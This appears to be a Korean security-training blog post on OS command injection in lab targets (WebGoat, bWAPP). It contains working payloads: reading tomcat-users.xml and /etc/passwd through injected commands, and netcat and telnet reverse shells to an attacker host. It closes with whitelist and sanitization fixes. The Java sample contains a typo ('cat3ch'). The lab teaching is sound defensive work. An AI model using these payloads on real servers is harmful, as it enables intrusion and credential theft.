<pre><code class="language-java">/* (추가1) 해당 어플리케이션에서 사용할 명령어를 미리 정의 */
    private final String[] allowedCommands = { &quot;type&quot;, &quot;dir&quot; }; 

    @RequestMapping(value = &quot;/test/command_test.do&quot;, method = RequestMethod.POST)
    @ResponseBody
    public String testCommandInjection(HttpServletRequest request, HttpSession session) {
        StringBuffer buffer = new StringBuffer();

        /*  (추가2)사용자가 선택한 코드가 전달 =&gt; 0 or 1이 전달 =&gt; 미리 정의해놓은 명령어를 참조하는 값을 사용*/
        String data = request.getParameter(&quot;data&quot;);
        // 화이트 리스트 방식으로 입력값을 제한하는 것과 동시에 외부에서 내부 처리를 알 수 없도록 하는 것도 가능

        /* (추가3) 사용자 화면에서 전달된 코드를 내부 처리에 사용할 명령어로 변환 */
        try {
        data = allowedCommands[Integer.parseInt(data)];
        }cat3ch(Exception e) {
            /* 1. 사용자화면에서 0 or 1 가 아닌 숫자가 전달되는 경우(ex.100)
             *        배열 값의 범위를 벗어나기 때문에 오류 발생
             * 2. 사용자 화면에서 0 or 1가 아닌 문자가 전달되는 경우(ex. ipconfig)
             *       숫자로 변하는 과정에서 오류 발생*/
            System.out.println(e.getMessage());
            return &quot;잘못된 입력입니다.&quot;;
        }
        if (data != null &amp;&amp; data.equals(&quot;type&quot;)) {
            data = data + &quot; &quot; + request.getSession().getServletContext().getRealPath(&quot;/&quot;) + &quot;files\\file1.txt&quot;;
        }

        Process process;
        String osName = System.getProperty(&quot;os.name&quot;);
        String[] cmd;

        if (osName.toLowerCase().startsWith(&quot;window&quot;)) {
            cmd = new String[] { &quot;cmd.exe&quot;, &quot;/c&quot;, data };
            for (String s : cmd)
                System.out.print(s + &quot; &quot;);
        } else {
            cmd = new String[] { &quot;/bin/sh&quot;, data };
        }
        try {
            process = Runtime.getRuntime().exec(cmd);
            InputStream in = process.getInputStream();
            Scanner s = new Scanner(in);
            buffer.append(&quot;실행결과: &lt;br/&gt;&quot;);
            while (s.hasNextLine() == true) {
                buffer.append(s.nextLine() + &quot;&lt;br/&gt;&quot;);
            }
        } catch (IOException e) {
            buffer.append(&quot;실행오류발생&quot;);
            e.printStackTrace();
        }
        return buffer.toString();
    }</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/57e4c26c-6234-453c-a554-08e1f1e30536/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d2d46822-1cfc-4adc-bd76-b66a996fa28e/image.png" alt=""></p>
<h2 id="3-webgoat">3. Webgoat</h2>
<p>Injection Flaws &gt; Commnad Injection</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/15cfdde0-eb96-442c-aac4-b4d553ec25ea/image.png" alt=""></p>
<p>도움말 파일 : BasicAuthentication.help
<img src="https://velog.velcdn.com/images/p-jina/post/ea101f8a-8af1-409d-8998-ee966fba47ad/image.png" alt=""></p>
<p>만약 외부에서 전달된 값을 검증, 제한하지 않고 명령어 실행에 그대로 사용되면 추가 명령어 실행이 가능할 것 같음.</p>
<pre>
C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\BasicAuthentication.html"<span style="color:#e06c75"> %26 type "C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml</span>
</pre>

<p><img src="https://velog.velcdn.com/images/p-jina/post/c1420ef7-f6f9-48f0-9bab-b518ecf00392/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ededf37e-d3b9-4eaa-bb3c-5581a66b7a95/image.png" alt=""></p>
<h2 id="4-beebox">4. beebox</h2>
<p>bWAPP &gt; OS Command Injection</p>
<p>/var/www/bWAPP/commandi.php 파일에서 140째 열 수정하기 - 코드가 달라지는 것 아니고 보기 편하게 바꾸는 것 뿐임</p>
<pre><code class="language-shell">$ sudo gedit /var/www/bWAPP/commandi.php</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/3ce08264-37ff-4867-a9cc-de569172a69f/image.png" alt="">
<img src="https://velog.velcdn.com/images/p-jina/post/7a2090ff-0a3a-4fb8-a262-1ce2caddd37f/image.png" alt=""></p>
<p>접근할 수 없는 경로의 시스템 파일 내용만 출력</p>
<pre><code class="language-shell">www.nsa.gov | cat /etc/passwd</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/f255cd64-bd49-4514-b0d3-38dd08e51f19/image.png" alt=""></p>
<h2 id="5-reverce-connection">5. Reverce Connection</h2>
<h3 id="51-정의">5.1. 정의</h3>
<p>일반적으로 네트워크는 <code>클라이언트 → 서버</code> 방향으로 연결되지만 역으로 <code>클라이언트 ← 서버</code> 방향으로 연결되게 만드는 것을 말한다.</p>
<h3 id="52-목적">5.2. 목적</h3>
<p>방화벽이나 NAT를 우회하기 위해 사용한다.</p>
<blockquote>
<h4 id="방화벽과-nat의-동작-원리">방화벽과 NAT의 동작 원리</h4>
</blockquote>
<ul>
<li>방화벽은 일반적으로 <code>외부 → 내부</code> 접속을 제한하고, <code>외부 ← 내부</code> 접속은 허용하는 경향이 있기 때문에 가능하다. </li>
<li>NAT는 내부 네트워크의 IP주소를 외부 네트워크의 IP 주소로 변환하는 역할을 하는데 일반적으로 NAT는 <code>외부 → 내부</code> 직접적인 접속을 막는다. 그러나 리버스 커넥션을 사용하면 <code>외부 ← 내부</code> 접속이 가능해진다.</li>
</ul>
<h2 id="6-netcatnc">6. Netcat(nc)</h2>
<h3 id="61-정의">6.1. 정의</h3>
<ul>
<li>TCP/IP 연결을 사용하여 네트워크 연결을 통해 데이터를 읽거나 쓰는 도구</li>
<li>네트워크 탐색 도구 뿐만 아니라 네트워크 디버깅 도구로도 사용 가능</li>
</ul>
<h3 id="62-주요-옵션">6.2. 주요 옵션</h3>
<pre><code class="language-shell">$ nc </code></pre>
<p>-l : Netcat listen mode
-u : Netcat TCP (기본값)에서 UDP 모드로 전환
-p port : 리스너의 경우 수신 포트, 클라이언트의 경우 출발지 포트
-e : 연결 후 수행 할 작업
-L : 영구 리스너 생성 (Windows만 작동)
-s addr : 출발지 IP 주소
-n : DNS 주소 해석을 하지 않음
-z : 데이터 전송 안 함
-w secs : 시간 종료 값 정의
-v : 상세 모드</p>
<h2 id="7-netcat을-이용한-reverce-connection">7. netcat을 이용한 Reverce Connection</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7b027ff3-28b3-4193-bd41-b92ac7dda32c/image.png" alt=""></p>
<p>cmd창 열어서 포트 지정</p>
<pre><code class="language-shell"># LISTEN 상태인 특정 포트 지정
$ nc -l -p 8282</code></pre>
<pre><code class="language-shell"># 특정 주소와 특정 포트에 
$ www.nsa.gov ; nc 공격자주소 포트번호 -e /bin/bash</code></pre>
<p>DNS lookup 검색창에 입력</p>
<pre><code class="language-shell">$ www.nsa.gov ; nc kali 8282 -e /bin/bash</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/e25bd61c-d21e-472d-85c1-0ea4dd798d85/image.png" alt=""></p>
<p>취약한 서버로 명령어를 전달 ⇒ beebox 서버에서 명령어가 실행되어 bash shell이 열림 ⇒ 공격자가 원하는 명령어 실행하면 결과가 출력 ⇒ beebox 사용자는 알 수 없다.</p>
<ul>
<li><p>netcat을 이용한 OS Command Injection 공격조건
위와 같은 공격이 이루어지기 위해서는</p>
<ol>
<li>웹 어플리케이션에 OS Command Injection 취약점이 존재</li>
<li>해당 웹 서버(beebox)에 netcat이 설치되어 있어야 한다.</li>
</ol>
</li>
<li><p>nc 프로그램이 설치되지 않은 웹 서버는 어떻게 공격을 할까?
서버 관리 목록으로 많이 사용하는 프로그램을 이용해서 공격을 시도 ⇒ telnet</p>
<h3 id="71-telnet을-이용한-rverce-connection">7.1. Telnet을 이용한 Rverce Connection</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/6903b8fe-8fba-49f5-b026-5dc164c834b0/image.png" alt=""></p>
</li>
</ul>
<p>Kali에서 터미널 2개 열어서 서비스 실행</p>
<ul>
<li>8282포트 명령어 입력용 <pre><code class="language-shell">$ nc -l -p 8282</code></pre>
</li>
<li>9292포트 8282포트에서 입력한 명령어 실행 결과를 출력할 용도<pre><code class="language-shell">$ nc -l -p 9292</code></pre>
beebox에서 <a href="http://beebox/bWAPP">http://beebox/bWAPP</a> (id: bee / pw: bug) 접속 &gt; OS Command Injection &gt; DNS lookup 검색창에 아래 명령어 입력 후 Lookup 버튼 클릭<pre><code class="language-shell"># 공격자의 시스템에 2개의 Telnet 연결을 생성해 이 연결을 통해 쉘 명령어를 전송하고 결과를 받는다. 
www.nsa.gov|sleep 1000|telnet attacker 8282|/bin/bash|telnet attacker 9292
# sleep 1000 ⇒ 프로그램 실행 1000초 동안 일시중지
# telnet attacker 8282 ⇒ attacker라는 호스트의 9292포트에 telnet연결 시도
# /bin/bash ⇒ 쉘 실행 명령어. 이 쉘은 이전 명령어의 출력을 입력으로 받아 실행
# telnet attacker 9292 ⇒ attacker라는 호스트의 9292포트에 telnet연결 시도. 이 연결은 이전 명령어(/bin/bash)의 출력을 입력으로 받는다.</code></pre>
<img src="https://velog.velcdn.com/images/p-jina/post/ef094fee-0c7b-4182-b482-1b8d275ae600/image.png" alt=""></li>
</ul>
<h3 id="72-안전한-코드로-변경하는-방법">7.2. 안전한 코드로 변경하는 방법</h3>
<p>beebox VM</p>
<p><code>commandi.php</code> 에서 구조 확인</p>
<pre><code class="language-shell">$ sudo gedit /var/www/bWAPP/commandi.php</code></pre>
<pre><code class="language-php">...(생략)...

&lt;?php

    if(isset($_POST[&quot;target&quot;]))
    {

        # 사용자가 입력한 값 ⇒ 정상적인 경우 도메인 주소가 전달
        $target = $_POST[&quot;target&quot;];

        if($target == &quot;&quot;)
        {

            echo &quot;&lt;font color=\&quot;red\&quot;&gt;Enter a domain name...&lt;/font&gt;&quot;;

        }

        else
        {

            # 쉘에서 nslookup 명령어를 실행하고 실행 결과를 반환(https://www.php.net/manual/en/function.shell-exec.php)
            # 설정된 보안 등급에 맞춰서 입력값을 처리한 후 nslookup 명령어의 매개변수로 사용
            echo &quot;&lt;p align=\&quot;left\&quot;&gt;&lt;pre&gt;&quot; . shell_exec(&quot;nslookup  &quot; . commandi($target)) . &quot;&lt;/pre&gt;&lt;/p&gt;&quot;;

        }

    }

    ?&gt;

...(생략)...</code></pre>
<p><code>functions_external.php</code> 코드 수정</p>
<pre><code class="language-shell">$ sudo gedit /var/www/bWAPP/functions_external.php</code></pre>
<pre><code class="language-php">...(생략)...

function commandi_check_1($data){
    # 추가 명령어 실행에 사용되는 &amp;와 ; 기호 제거
    $input = str_replace(&quot;&amp;&quot;, &quot;&quot;, $data);
    $input = str_replace(&quot;;&quot;, &quot;&quot;, $input);
    return $input;
}

function commandi_check_2($data){
    # Escape shell metacharacters
    # https://www.php.net/manual/en/function.escapeshellcmd.php
    return escapeshellcmd($data);
}


function commandi_check_3($data){
    # 추가 명령어 실행에 사용되는 &amp;, ;, | 기호를 제거
    $input = str_replace(&quot;&amp;&quot;, &quot;&quot;, $data);
    $input = str_replace(&quot;;&quot;, &quot;&quot;, $input);
    $input = str_replace(&quot;|&quot;, &quot;&quot;, $input);
    return $input;
}

...(생략)...</code></pre>
]]></description>
        </item>
    </channel>
</rss>